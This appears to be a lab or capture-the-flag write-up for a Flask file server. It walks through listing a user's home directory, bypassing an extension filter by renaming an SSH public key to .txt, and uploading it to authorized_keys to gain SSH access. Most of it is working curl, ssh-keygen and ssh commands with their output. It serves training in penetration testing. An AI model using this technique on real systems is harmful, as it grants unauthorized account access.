Arbitrary File Upload
The web server on the target port 33414
is hosting a Flask API server named, Python File Server REST API v2.5, that features directory listing as well as file upload. The file upload feature appears to be the default example shown in the official Flask documentation.
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -s http://$IP:33414/file-list?dir=/home/alfredo | jq
[
".bash_logout",
".bash_profile",
".bashrc",
"local.txt",
".ssh",
"restapi",
".bash_history"
]
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -s http://$IP:33414/file-list?dir=/home/alfredo/restapi | jq
[
"app.py",
"main.py",
"__pycache__"
]
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -s http://$IP:33414/file-list?dir=/home/alfredo/.ssh | jq
[
"id_rsa",
"id_rsa.pub"
]
It would appear that the /alfredo
user is running the Flask API server, suggested by the restapi
directory present in the home directory of the alfredo
user. Additionally, I am able to access the home directory of the user.
Since there is a SSH directory present, I could attempt to write a authorized_keys
file with Kali’s SSH public key
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ ssh-keygen -t rsa -f id_rsa.alfredo
Generating public/private rsa key pair.
Enter passphrase for "id_rsa.alfredo" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.alfredo
Your public key has been saved in id_rsa.alfredo.pub
The key fingerprint is:
SHA256:xYm8dr+U0lb2vaZPVKUoJI4ONfcQgg1rmfqsMjsZ65Q kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| .++ =.. .|
| .=.B B . . ..|
| * . + * . . .|
| o o o . .|
| . . S . o. |
|. .o . . o +...|
| E o . * .o|
|B . + ....|
|o*. ..+o |
+----[SHA256]-----+
Generating a RSA key pair for SSH
Extension Filter
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -X POST http://$IP:33414/file-upload -F "file=@id_rsa.alfredo.pub" -F "filename=/home/alfredo/.ssh/authorized_keys"
{"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}
There is an extension filter. Much like that default example
Bypass
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ mv id_rsa.alfredo.pub id_rsa.alfredo.pub.txt
I change the extension of the uploading file to an acceptable extension; .txt
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -X POST http://$IP:33414/file-upload -F "file=@id_rsa.alfredo.pub.txt" -F "filename=/home/alfredo/.ssh/authorized_keys"
{"message":"File successfully uploaded"}
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ curl -s http://$IP:33414/file-list?dir=/home/alfredo/.ssh | jq
[
"id_rsa",
"id_rsa.pub",
"authorized_keys"
]
and upload it successfully
SSH
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/amaterasu]
└─$ ssh alfredo@$IP -p25022 -i ./id_rsa.alfredo
Last login: Tue Mar 28 03:21:25 2023
[alfredo@fedora ~]$ whoami
alfredo
[alfredo@fedora ~]$ hostname
fedora
[alfredo@fedora ~]$ ifconfig
ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.120.249 netmask 255.255.255.0 broadcast 192.168.120.255
inet6 fe80::c03e:6487:9234:9f8b prefixlen 64 scopeid 0x20<link>
ether 00:50:56:9e:08:27 txqueuelen 1000 (Ethernet)
RX packets 560 bytes 43676 (42.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 110 bytes 14091 (13.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 20 bytes 1120 (1.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 1120 (1.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established to the target system as the alfredo
user via SSH